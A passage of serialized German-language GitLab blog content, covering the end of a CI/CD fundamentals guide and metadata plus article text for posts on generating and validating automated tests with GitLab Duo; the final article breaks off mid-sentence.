aufrechtzuerhalten, und verhindert, dass sich Integrationsprobleme ansammeln.\n\n## Die Vorteile von CI/CD in der modernen Softwareentwicklung\n\n[CI/CD bringt transformative Vorteile für die moderne Softwareentwicklung](https://about.gitlab.com/blog/ten-reasons-why-your-business-needs-ci-cd/) (Blogbeitrag nur in englischer Sprache verfügbar), indem die Zeit und das Risiko drastisch reduziert werden, die neue Funktionen und Fixes mit sich bringen. Durch die kontinuierliche Feedbackschleife können DevSecOps-Teams sicher sein, dass ihre Änderungen automatisch für die gesamte Codebase validiert werden. Das Ergebnis sind hochwertigere Software, kürzere Lieferzeiten und häufigere Veröffentlichungen, mit denen man schneller auf Benutzer- und Marktanforderungen reagieren kann.\n\nEiner der wichtigsten Aspekte ist jedoch, dass CI/CD eine Kultur der Zusammenarbeit und Transparenz innerhalb von Softwareentwicklungsteams fördert. Wenn jeder den Status von Builds, Tests und Bereitstellungen in Echtzeit sehen kann, wird es einfacher, Engpässe im Bereitstellungsprozess zu identifizieren und zu beheben. Die von CI/CD ermöglichte Automatisierung reduziert auch die kognitive Belastung für Entwickler(innen) und gibt ihnen die Möglichkeit, sich auf das Schreiben von Code zu konzentrieren, anstatt manuelle Bereitstellungsprozesse zu verwalten. Dies führt zu einer höheren Zufriedenheit und Produktivität der Entwickler(innen) und reduziert gleichzeitig das Risiko, das traditionell mit dem gesamten Softwareveröffentlichungsprozess verbunden ist. Teams können freier experimentieren, wenn sie wissen, dass schnelle Code Reviews Teil des Prozesses sind, und sie können Änderungen bei Bedarf schnell zurücknehmen, was Innovationen und kontinuierliche Verbesserungen fördert.\n\n### Hauptunterschiede zwischen CI/CD und traditioneller Entwicklung\n\nCI/CD unterscheidet sich in vielerlei Hinsicht von der traditionellen Softwareentwicklung:\n\n**Häufige Code-Commits** \n\nEntwickler(innen) arbeiten oft unabhängig und laden ihren Code selten in eine main-Codebase hoch, was zu Merge-Konflikten und anderen zeitaufwändigen Problemen führt. Mit CI/CD pushen Entwickler(innen) Commits den ganzen Tag über, um sicherzustellen, dass Konflikte frühzeitig erkannt werden und die Codebase auf dem neuesten Stand bleibt.\n\n**Reduziertes Risiko**\n\nLangwierige Testzyklen und eine umfassende Vorabplanung kennzeichnen die traditionelle Softwareentwicklung. Dadurch sollen Risiken minimiert werden, jedoch wird die Möglichkeit eingeschränkt, Probleme zu finden und zu beheben. Das Risikomanagement in CI/CD basiert darauf, dass kleine, inkrementelle Änderungen vorgenommen werden, die genau überwacht und leicht rückgängig gemacht werden können.\n\n**Automatisierte und kontinuierliche Tests**\n\nIn der traditionellen Softwareentwicklung werden Tests durchgeführt, sobald die Entwicklung abgeschlossen ist. Dies führt jedoch zu Problemen wie verspäteter Lieferung und kostspieliger Fehlerbehebungen. CI/CD unterstützt automatisierte Tests, die während der gesamten Entwicklung kontinuierlich durchgeführt und durch jeden Code-Commit ausgelöst werden. Entwickler(innen) erhalten außerdem Feedback, auf das sie schnell reagieren können.\n\n**Automatisierte, wiederholbare und häufige Bereitstellungen**\n\nMit CI/CD sind Bereitstellungen automatisierte Prozesse, die den typischen Stress und Aufwand für große Software-Rollouts reduzieren. Der gleiche Bereitstellungsprozess kann in allen Umgebungen wiederholt werden, was Zeit spart und Fehler und Inkonsistenzen reduziert.\n\n## Grundlagen von CI/CD verstehen\n\nCI/CD dient als Framework für den Aufbau skalierbarer, wartbarer Bereitstellungsprozesse. Daher ist es für DevSecOps-Teams wichtig, die Kernkonzepte wirklich zu verstehen. Durch ein solides Verständnis der CI/CD-Prinzipien können Teams, Strategien und Praktiken an die Entwicklung der Technologie anpassen, anstatt an alte Ansätze gebunden zu sein. Hier sind einige der Grundlagen.\n\n### Was ist eine CI/CD-Pipeline?\n\nEine [CI/CD-Pipeline](https://about.gitlab.com/de-de/topics/ci-cd/cicd-pipeline/) ist eine Reihe von Schritten wie Erstellen, Testen und Bereitstellen, durch die der Softwarebereitstellungsprozess automatisiert und optimiert wird. [Jede Phase dient als Qualitätsüberprüfung](https://about.gitlab.com/blog/guide-to-ci-cd-pipelines/) (Blogbeitrag nur in englischer Sprache verfügbar) und stellt sicher, dass nur validierter Code weiterentwickelt wird. In den frühen Phasen werden in der Regel grundlegende Überprüfungen wie Kompilierung und Unit-Tests durchgeführt, während spätere Phasen Integrationstests, Leistungstests, Konformitätstests und gestaffelte Bereitstellungen in verschiedenen Umgebungen umfassen können.\n\nDie Pipeline kann so konfiguriert werden, dass manuelle Genehmigungen an kritischen Punkten erforderlich sind, z. B. vor der Bereitstellung für die Produktion, während gleichzeitig Routineaufgaben automatisiert werden und Entwickler(innen) schnelles Feedback über den Zustand ihrer Änderungen erhalten. Dieser strukturierte Ansatz sorgt für Konsistenz, reduziert menschliche Fehler und bietet einen klaren Audit-Trail, wie Codeänderungen sich von der Entwicklung bis in die Produktion bewegen. Moderne Pipelines werden oft als Code implementiert, so dass sie wie Anwendungscode versioniert, getestet und gepflegt werden können.\n\nAuch die folgenden Begriffe sind für CI/CD wichtig:\n- **Commit:** eine Codeänderung\n- **Job:** Anweisungen, die ein Runner ausführen muss\n- **Runner:** ein Agent oder Server, der jeden Job einzeln ausführt und nach Bedarf hoch- oder herunterfahren kann\n- **Phase:** ein Schlüsselwort, das bestimmte Jobphasen definiert, z. B. „Erstellen“ und „Bereitstellen“. Jobs der gleichen Phase werden parallel ausgeführt. Pipelines werden mithilfe der versionierten YAML-Datei `.gitlab-ci.yml` auf der Root-Ebene eines Projekts konfiguriert.\n\n![CI/CD-Pipeline-Schema](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673928/Blog/Content%20Images/1690824533476.png)\n\n## Best Practices für die Implementierung und das Management von CI/CD\n\nWie erfolgreich du mit CI/CD bist, hängt stark von den [Best Practices](https://about.gitlab.com/de-de/blog/how-to-keep-up-with-ci-cd-best-practices/) ab, die du implementierst. \n\n#### Best Practices für CI\n\n* Committe früh und oft.\n* Optimiere die Pipeline-Phasen.\n* Erstelle Builds schnell und einfach.\n* Nutze Fehlschläge, um Prozesse zu verbessern.\n* Stelle sicher, dass die Testumgebung die Produktion widerspiegelt.\n\n#### Best Practices für CD\n\n* Beginne dort, wo du gerade bist – du kannst jederzeit iterieren.\n* Die beste kontinuierliche Lieferung erfolgt mit minimalen Mitteln.\n* Verfolge, was passiert, damit Probleme und Merge Requests nicht außer Kontrolle geraten.\n* Optimiere Benutzerakzeptanztests und Staging mit Automatisierung.\n* Verwalte die Release-Pipeline durch Automatisierung.\n* Implementiere Überwachung für Transparenz und Effizienz. \n\n> ### Setz dir ein Lesezeichen!\n>\n>Sieh dir unser englischsprachiges [Webinar „Intro to CI/CD“](https://www.youtube.com/watch?v=sQ7Nw3o0izc) (Einführung in CI/CD) an!\n>\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sQ7Nw3o0izc?si=3HpNqIClrc2ncr7Y\" title=\"Intro to CI/CD webinar\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Erste Schritte mit CI/CD\n\nDer Einstieg in CI/CD beginnt mit einem einfachen, aber repräsentativen Projekt, das als Pilotprojekt dienen soll. Wähle eine einfache Anwendung mit simplen Testanforderungen aus, damit du dich auf das Erlernen der Pipeline-Mechanismen konzentrieren kannst, anstatt dich mit komplexen Bereitstellungsszenarien zu befassen. Stelle zunächst sicher, dass dein Code [versioniert](https://about.gitlab.com/de-de/topics/version-control/) ist und einige [grundlegende automatisierte Tests](https://about.gitlab.com/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci/) (Blogbeitrag nur in englischer Sprache verfügbar) enthält  – dabei reichen schon ein paar Unit-Tests aus. Das Ziel besteht darin, [eine minimale Pipeline zu erstellen](https://about.gitlab.com/blog/how-to-learn-ci-cd-fast/) (Blogbeitrag nur in englischer Sprache verfügbar), die du mit zunehmendem Verständnis nach und nach ausbauen kannst.\n\nIm Fall von GitLab beginnt der Prozess mit dem Erstellen der Datei `.gitlab-ci.yml` im Stammverzeichnis deines Projekts. Diese YAML-Datei definiert deine Pipeline-Phasen (grundlegende Phasen wie Erstellen, Testen und Bereitstellen) und Jobs. Eine einfache Pipeline könnte so aussehen: In der Phase „Erstellen“ wird deine Code kompiliert und es werden Artefakte erstellt, die Testphase führt deine Unit-Tests aus und die Phase „Bereitstellen“ pusht deine Anwendung in eine Staging-Umgebung. GitLab erkennt diese Datei automatisch und beginnt, deine Pipeline auszuführen, wenn Änderungen in dein Repository gepusht werden. Die Plattform bietet [integrierte Runner](https://docs.gitlab.com/runner/) (Artikel nur in englischer Sprache verfügbar), um deine Pipeline-Jobs auszuführen, aber du kannst auch eigene Runner einrichten, wenn du mehr Kontrolle haben willst.\n\nWenn du mit den Grundlagen vertraut bist, kannst du nach und nach anspruchsvollere Elemente zu deiner Pipeline hinzufügen. Du kannst zum Beispiel Code-Qualitätsprüfungen, [Sicherheitsscans](https://docs.gitlab.com/ee/user/application_security/#security-scanning) (Artikel nur in englischer Sprache verfügbar) oder die automatisierte Bereitstellung für die Produktion hinzufügen. Die DevSecOps-Plattform von GitLab bietet Funktionen wie [Compliance-Management](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/), [Bereitstellungsvariablen](https://about.gitlab.com/blog/demystifying-ci-cd-variables/) (Blogbeiträge nur in englischer Sprache verfügbar) und manuelle Genehmigungsprüfungen, die du integrieren kannst, wenn deine Pipeline ausgereift ist. Achte auf die Ausführungszeit der Pipeline und suche nach Möglichkeiten, Jobs parallel auszuführen. Denke daran, die richtige Fehlerbehandlung und Benachrichtigungen hinzuzufügen, damit deine Teammitglieder umgehend über alle Pipeline-Ausfälle informiert werden. Beginne damit, häufige Probleme und Lösungen zu dokumentieren, wenn sie auftauchen – dies wird von unschätzbarem Wert sein, wenn dein Team wächst.\n\n> ### Möchtest du mehr über die ersten Schritte mit CI/CD erfahren? Registriere dich für einen [kostenlosen, englischsprachigen CI/CD-Kurs auf GitLab University](https://university.gitlab.com/courses/continuous-integration-and-delivery-ci-cd-with-gitlab).\n\n## Sicherheit, Compliance und CI/CD\n\nEiner der größten Vorteile von CI/CD ist die Möglichkeit, Sicherheits- und Compliance-Prüfungen frühzeitig und häufig in den Software-Entwicklungsprozess einzubetten. In GitLab können Teams die Konfiguration `.gitlab-ci.yml` verwenden, um automatisch Sicherheitsscans in mehreren Phasen auszulösen, vom ersten Code Commit bis zur Bereitstellung in der Produktivumgebung. Container-Scanning, Abhängigkeitsuche und Sicherheitsscans auf der Plattform ([Dynamische Anwendungssicherheitstests](https://docs.gitlab.com/ee/user/application_security/dast/) und [Erweitertes SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/); beide nur in englischer Sprache verfügbar) können so konfiguriert werden, dass sie bei jeder Codeänderung automatisch ausgeführt werden, um auf Sicherheitslücken, Compliance-Verstöße und Sicherheitsfehlkonfigurationen zu prüfen. Die API der Plattform ermöglicht die Integration mit [externen Sicherheitstools](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) (Blogbeitrag nur in englischer Sprache verfügbar) und die Testabdeckungsfunktionen stellen sicher, dass die Sicherheitstests die erforderlichen Anforderungen erfüllen.\n\nDie Sicherheitstestberichte von GitLab enthalten detaillierte Informationen zu den Ergebnissen und sollen sicherstellen, dass Sicherheitsprobleme schnell behoben werden können, bevor sie in die Produktion kommen. Das Sicherheitsdashboard bietet eine zentrale Ansicht von Sicherheitslücken in allen Projekten, während [Sicherheitsrichtlinien](https://about.gitlab.com/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/) (Blogbeitrag nur in englischer Sprache verfügbar) durch Merge-Request-Genehmigungen und Pipeline-Gates durchgesetzt werden können. Darüber hinaus bietet GitLab mehrere Sicherheitsebenen, um vertrauliche Daten während des gesamten CI/CD-Prozesses zu schützen, Audit-Protokolle, um den Zugriff auf Geheimnisse zu verfolgen, und rollenbasierte Zugriffskontrolle (RBAC), um sicherzustellen, dass nur autorisierte Benutzer(innen) vertrauliche Konfigurationsdaten anzeigen oder ändern können.\n\nGitLab unterstützt auch die Erstellung einer Software-Stückliste ([SBOM](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/)), die eine umfassende Bestandsaufnahme aller Softwarekomponenten, Abhängigkeiten und Lizenzen in einer Anwendung bietet und es den Teams ermöglicht, Sicherheitslücken schnell zu identifizieren, darauf zu reagieren und behördliche Auflagen zu erfüllen.\n\n## CI/CD und die Cloud\n\nDie CI/CD-Plattform von GitLab bietet eine robuste Integration mit großen Cloud-Anbietern wie [Amazon Web Services](https://about.gitlab.com/de-de/partners/technology-partners/aws/), [Google Cloud Platform](https://about.gitlab.com/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci/) (Blogbeitrag nur in englischer Sprache verfügbar) und [Microsoft Azure](https://docs.gitlab.com/ee/install/azure/) (Artikel nur in englischer Sprache verfügbar), sodass Teams ihre Cloud-Bereitstellungen direkt aus ihren Pipelines heraus automatisieren können. Durch die Cloud-Integrationen von GitLab können Teams Cloud-Ressourcen verwalten, Anwendungen bereitstellen und Cloud-Dienste innerhalb der GitLab-Oberfläche überwachen. Die integrierten Cloud-Bereitstellungsvorlagen und [Auto-DevOps-Funktionen](https://docs.gitlab.com/ee/topics/autodevops/) (Artikel nur in englischer Sprache verfügbar) der Plattform reduzieren die Komplexität von Cloud-Bereitstellungen erheblich, sodass sich die Teams auf die Anwendungsentwicklung konzentrieren können und sich nicht mit dem Infrastrukturmanagement befassen müssen. Für Unternehmen, die ihre IT-Infrastruktur mit GitOps automatisieren möchten, bietet GitLab eine [Flux-CD-Integration](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/) (Blogbeitrag nur in englischer Sprache verfügbar).\n\nDie Cloud-Funktionen von GitLab gehen weit über die einfache Automatisierung der Bereitstellung hinaus. Die [Kubernetes-Integration](https://about.gitlab.com/blog/kubernetes-overview-operate-cluster-data-on-the-frontend/) (Blogbeitrag nur in englischer Sprache verfügbar) der Plattform ermöglicht es den Teams, die Container-Orchestrierung über mehrere Cloud-Anbieter hinweg zu verwalten, während die [Cloud-nativen Installationsoptionen von GitLab](https://about.gitlab.com/de-de/topics/ci-cd/cloud-native-continuous-integration/) den Betrieb der Plattform selbst in Cloud-Umgebungen ermöglichen. Durch die Cloud-nativen Funktionen von GitLab können Teams Runner mit automatischer Skalierung implementieren, die dynamisch Cloud-Ressourcen für die Pipeline-Ausführung bereitstellen und so Kosten und Leistung optimieren. Die Integration der Plattform mit den Sicherheitsdiensten von Cloud-Anbietern macht es möglich, dass die Sicherheits- und Konformitätsanforderungen während des gesamten Bereitstellungsprozesses erfüllt werden.\n\nFür Multi-Cloud-Umgebungen stellt GitLab konsistente Workflows und Tools zur Verfügung, unabhängig vom zugrunde liegenden Cloud-Anbieter. Teams können die Umgebungsverwaltung von GitLab verwenden, um verschiedene Cloud-Konfigurationen in Entwicklungs-, Staging- und Produktivumgebungen zu verwalten. Da die Plattform [Infrastructure as Code](https://docs.gitlab.com/ee/user/infrastructure/iac/) (Artikel nur in englischer Sprache verfügbar) unterstützt – insbesondere die native Integration mit Terraform – können Teams ihre Cloud-Infrastruktur-Bereitstellung steuern und automatisieren. Die Überwachungs- und Beobachtungsfunktionen von GitLab lassen sich in die Metriken von Cloud-Anbietern integrieren und bieten einen umfassenden Überblick über den Zustand von Anwendungen und Infrastruktur in allen Cloud-Umgebungen.\n\n## Erweitertes CI/CD \nCI/CD hat sich weit über das einfache Erstellen und Bereitstellen von Pipelines hinaus entwickelt. In umfassenderen Implementierungen bietet CI/CD eine ausgefeilte Orchestrierung von automatisierten Tests, Sicherheitsscans, Infrastrukturbereitstellung, KI und mehr. Hier findest du einige Strategien für Erweitertes CI/CD, die Entwicklungsteams dabei helfen können, ihre Pipelines zu skalieren und Probleme zu beheben, auch wenn die architektonische Komplexität zunimmt.\n\n### Wiederverwendung und Automatisierung in CI/CD\n\nGitLab verändert die Art und Weise, wie Entwicklungsteams CI/CD-Pipelines erstellen und verwalten. Dazu tragen vor allem zwei wichtige Innovationen bei: der [CI/CD-Katalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) und [CI/CD Steps](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/) (Blogbeiträge nur in englischer Sprache verfügbar), eine neue Programmiersprache für DevSecOps-Automatisierung, die derzeit getestet wird. Der CI/CD-Katalog ist eine zentralisierte Plattform, auf der Entwickler(innen) CI/CD-Komponenten entdecken, wiederverwenden und beitragen können. Komponenten fungieren als wiederverwendbare Bausteine mit einem einzigen Zweck und sollen die Pipeline-Konfiguration vereinfachen – du kannst sie dir wie Legosteine für CI/CD-Workflows vorstellen. CI/CD Steps unterstützt komplexe Workflows, indem es Entwickler(inne)n ermöglicht, Eingaben und Ausgaben für einen CI/CD-Job zu erstellen. Mit dem CI/CD-Katalog und CI/CD Steps können DevSecOps-Teams CI/CD und seine Komponenten einfach standardisieren und so die Entwicklung und Pflege von CI/CD-Pipelines vereinfachen.\n\n> Weitere Informationen findest du in unseren [CI/CD-Katalog-FAQ](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/) und der [Dokumentation für CI/CD Steps](https://docs.gitlab.com/ee/ci/steps/) (beide nur in englischer Sprache verfügbar).\n\n### Problembehebung für Pipelines mithilfe von KI\n\nCI/CD-Pipelines können zwar ab und zu ausfallen, aber eine schnelle Problembehebung kann die Auswirkungen minimieren. GitLab Duo Root Cause Analysis, schafft als Teil eines Programmpakets KI-basierter Funktionen Klarheit, indem es [die Grundursache für eine defekte CI/CD-Pipeline ermittelt](https://about.gitlab.com/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/) (Blogbeitrag nur in englischer Sprache verfügbar). Wenn eine Pipeline fehlschlägt, stellt GitLab detaillierte Job-Protokolle, Fehlermeldungen und Ausführungsverläufe bereit, die genau zeigen, wo und warum der Fehler aufgetreten ist. Root Cause Analysis schlägt dann mithilfe von KI eine Lösung vor.\nSieh dir GitLab Duo Root Cause Analysisin Aktion an:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## So migrierst zu GitLab CI/CD\n\nFür die Migration auf die DevSecOps-Plattform und ihr integriertes CI/CD ist ein systematischer Ansatz nötig, um deine vorhandene Pipeline-Konfigurationen, Abhängigkeiten und Bereitstellungsprozesse zu analysieren und dann den entsprechenden Funktionen und der Syntax von GitLab zuzuordnen. Die folgenden englischsprachigen Anleitungen sollen dir den Einstieg erleichtern.\n\n* [So migrierst du von Bamboo zu GitLab CI/CD](https://about.gitlab.com/blog/migrating-from-bamboo-to-gitlab-cicd/)\n* [Von Jenkins zu GitLab: der ultimative Leitfaden zur Modernisierung deiner CI/CD-Umgebung](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n* [Einfache Migration von GitHub zu GitLab](https://about.gitlab.com/blog/github-to-gitlab-migration-made-easy/)\n\n## Erfahrungsberichte von führenden Unternehmen\n\nDiese führenden Unternehmen sind zu GitLab migriert und profitieren von den unzähligen Vorteilen von CI/CD. Lies ihre Stories.\n\n- [Lockheed Martin](https://about.gitlab.com/de-de/customers/lockheed-martin/)\n- [Indeed](https://about.gitlab.com/de-de/blog/how-indeed-transformed-its-ci-platform-with-gitlab/)\n- [CARFAX](https://about.gitlab.com/de-de/customers/carfax/)\n- [HackerOne](https://about.gitlab.com/de-de/customers/hackerone/)\n- [Betstudios](https://about.gitlab.com/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium/) (nur in englischer Sprache verfügbar)\n- [Thales und Carrefour](https://about.gitlab.com/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms/) (nur in englischer Sprache verfügbar)\n\n## CI/CD-Tutorials\n\nWerde mit diesen einfach verständlichen Tutorials zum CI/CD-Profi. (Die Tutorials sind im Moment nur in englischer Sprache verfügbar.)\n\n* [Grundlagen von CI: So führst du Jobs sequenziell, parallel oder unregelmäßig aus](https://about.gitlab.com/blog/basics-of-gitlab-ci-updated/)\n* [So richtest du deine erste CI/CD-Komponente mit GitLab ein](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n* [Einfacher Aufbau einer CI/CD-Pipeline mit GitLab für ein Monorepo](https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/)\n* [Verwendung von untergeordneten Pipelines für die kontinuierliche Bereitstellung in fünf Umgebungen](https://about.gitlab.com/blog/using-child-pipelines-to-continuously-deploy-to-five-environments/)\n* [CI/CD-Automatisierung: Maximiere die Auswirkungen eines Bereitstellungsstopps auf GitLab-Gruppen](https://about.gitlab.com/blog/ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups/)\n* [Refaktorisierung einer CI/CD-Vorlage zu einer CI/CD-Komponente](https://about.gitlab.com/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component/)\n* [Kommentiere Container-Images mit Build-Provenienz mithilfe von Cosign in GitLab CI/CD](https://about.gitlab.com/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd)\n\n> #### Erste Schritte mit GitLab CI/CD. [Registriere dich für GitLab Ultimate](https://gitlab.com/-/trials/new) und teste die KI-basierte DevSecOps-Plattform kostenlos.",[110,787,746,767,765,680],"2025-05-08",{"slug":2323,"featured":92,"template":682},"ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation","content:de-de:blog:ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","Ultimate Guide To Ci Cd Fundamentals To Advanced Implementation","de-de/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","de-de/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"_path":2329,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2330,"content":2336,"config":2342,"_id":2344,"_type":16,"title":2345,"_source":17,"_file":2346,"_stem":2347,"_extension":20},"/de-de/blog/automating-with-gitlab-duo-part-3-validating-testing",{"title":2331,"description":2332,"ogTitle":2331,"ogDescription":2332,"noIndex":6,"ogImage":2333,"ogUrl":2334,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2334,"schema":2335},"Automatisierung mit GitLab Duo, Teil 3: Validierung von Tests","Hier erfährst du, welche Tests wir durchgeführt haben, um die Auswirkungen von GitLab Duo auf die automatisierten Tests unseres Teams zu überprüfen – und welche Ergebnisse wir erzielt haben.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097447/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097447404.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-3-validating-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisierung mit GitLab Duo, Teil 3: Validierung von Tests\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-17\",\n      }\n                  ",{"title":2331,"description":2332,"authors":2337,"heroImage":2333,"date":2339,"body":2340,"category":677,"tags":2341},[2338],"Byron Boots","2024-12-17","In früheren Beiträgen dieser Serie haben wir beschrieben, [wie wir GitLab Duo zur Erstellung von Tests für unseren Code verwendet haben](https://about.gitlab.com/de-de/blog/automating-with-gitlab-duo-part-1-generating-tests/) und [was wir bei der Verwendung von GitLab Duo zur Erstellung automatisierter Tests gelernt haben](https://about.gitlab.com/de-de/blog/automating-with-gitlab-duo-part-2-complex-testing/). Wir haben auch darüber berichtet, wie wir Änderungen an den von GitLab Duo generierten Tests vorgenommen haben. In diesem letzten Artikel der Reihe geht es um einen Test, den wir durchgeführt haben, um die Auswirkungen von GitLab Duo auf die automatisierten Tests unseres Teams zu validieren, und um die beeindruckenden Ergebnisse, die wir bis jetzt erzielt haben.\n\n### Ergebnisse des Validierungstests\n\nUm zu überprüfen, ob die Nutzung von GitLab Duo zur Erstellung von Tests den erwarteten Mehrwert bringt, haben wir uns selbst und GitLab Duo vor die Aufgabe gestellt, Tests zu ersetzen und die Testabdeckung zu erhöhen. Das Team entfernte alle bereits geschriebenen Tests, um die Testabdeckung auf 0 % zu bringen. Dann ging es methodisch durch das Repository und erstellte neue Testdateien, um die von GitLab Duo generierten Tests zu speichern.\n\nVon diesem Ausgangspunkt aus folgte das Team den Schritten, die im [ersten Blogbeitrag](https://about.gitlab.com/de-de/blog/automating-with-gitlab-duo-part-1-generating-tests/) beschrieben sind, um Tests zu erstellen. Um eine stabile Kontrollgruppe zu haben, wurden die Tests und Testdateien nicht von Menschen verändert. Für die Identifizierung, woher die Tests stammen, wurde am Anfang der Datei der Kommentar `Tests Generated by Duo` sowie am Ende der Zusatz `duo.py` hinzugefügt.\n\nAlle Iterationen der Tests erfolgten ausschließlich durch Interaktion mit GitLab Duo über `Generate Tests` und das GitLab-Duo-Chat-Fenster, wie [im zweiten Blogartikel dieser Reihe](https://about.gitlab.com/de-de/blog/automating-with-gitlab-duo-part-2-complex-testing/) beschrieben. Wie bereits erwähnt, haben wir GitLab Duo gebeten, Aktualisierungen vorzunehmen, die auf aufgetretenen Fehlern, fehlgeschlagenen Tests und Beispielcode-Schnipseln basieren, die GitLab Duo als zusätzlichen Kontext verwenden kann.\n\nBeim Testen mit GitLab Duo haben wir ständig Tests ausgeführt und Abdeckungsberichte erstellt, damit wir sehen konnten, ob unsere von GitLab Duo generierten Tests die Testabdeckung erhöhen und den erwarteten Mehrwert bringen. Mit der [Visualisierung der Testabdeckung von GitLab](https://docs.gitlab.com/ee/ci/testing/test_coverage_visualization/) (nur in englischer Sprache verfügbar) konnten wir die Ergebnisse unserer Arbeit kontinuierlich überwachen.\n\nNachdem wir mit GitLab Duo die Tests für den Code neu erstellt hatten, der zuvor hauptsächlich durch manuelle Tests abgedeckt war, konnten wir schließlich eine Testabdeckung von 84 % erreichen. Das war ein großer Erfolg für das Team, denn:\n\n1. Es war eine signifikante Verbesserung gegenüber der vorherigen Abdeckung, die bei 74 % lag.  \n2. Eine einzelne Person brauchte etwa zwei Tage, um eine Testabdeckung von 84 % zu erreichen, während zuvor mehrere Entwickler(innen) etwa vier Wochen für die manuelle Testabdeckung von 74 %  benötigt hatten.\n\nSeit diesem Experiment hat das Team die Abdeckung mit Hilfe von GitLab Duo sogar noch auf 89 % erhöht und gleichzeitig neue Funktionen eingeführt.\n\n![Abbildung der Erfolge](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097456/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097456771.png)\n\nDurch den Einsatz von GitLab Duo konnten die Testeffizienz und die Testabdeckung erhöht werden. Außerdem konnten Entwickler(innen), die mit dem vorhandenen Code weniger vertraut sind, schnell sinnvolle Tests schreiben. Das hat das Vertrauen des Teams gestärkt, neue Funktionen zu entwickeln, ohne befürchten zu müssen, Fehler einzuführen.\n\n> Wenn du [GitLab Duo ausprobieren](https://about.gitlab.com/de-de/solutions/gitlab-duo-pro/sales/) möchtest, melde dich noch heute für eine kostenlose Testversion an!\n",[679,768,746,745],{"slug":2343,"featured":6,"template":682},"automating-with-gitlab-duo-part-3-validating-testing","content:de-de:blog:automating-with-gitlab-duo-part-3-validating-testing.yml","Automating With Gitlab Duo Part 3 Validating Testing","de-de/blog/automating-with-gitlab-duo-part-3-validating-testing.yml","de-de/blog/automating-with-gitlab-duo-part-3-validating-testing",{"_path":2349,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2350,"content":2356,"config":2361,"_id":2363,"_type":16,"title":2364,"_source":17,"_file":2365,"_stem":2366,"_extension":20},"/de-de/blog/automating-with-gitlab-duo-part-2-complex-testing",{"title":2351,"description":2352,"ogTitle":2351,"ogDescription":2352,"noIndex":6,"ogImage":2353,"ogUrl":2354,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2354,"schema":2355},"Automatisierung mit GitLab Duo, Teil 2: Komplexes Testen","Hier erfährst du, wie das GitLab-Team mit Hilfe der KI-Funktionen von GitLab Duo komplexere Testsituationen bewältigt und dabei auch sicherstellt, dass die Code-Tests den Standards entsprechen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099243/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750099243011.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-2-complex-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisierung mit GitLab Duo, Teil 2: Komplexes Testen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-10\",\n      }\n                  ",{"title":2351,"description":2352,"authors":2357,"heroImage":2353,"date":2358,"body":2359,"category":677,"tags":2360,"updatedDate":2276},[2338],"2024-12-10","Im ersten Teil unserer dreiteiligen Serie über die [Testerstellung mit GitLab Duo](https://about.gitlab.com/de-de/blog/automating-with-gitlab-duo-part-1-generating-tests/) ging es darum, wie man Code-Tests automatisieren kann. Jetzt werden wir die Erfahrungen teilen, die wir beim Einsatz von KI für die Testgenerierung gemacht haben.\n\n## Herausforderungen und wie wir sie gemeistert haben\n\nInsgesamt waren wir mit den Ergebnissen zufrieden, die wir mit [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) bei der 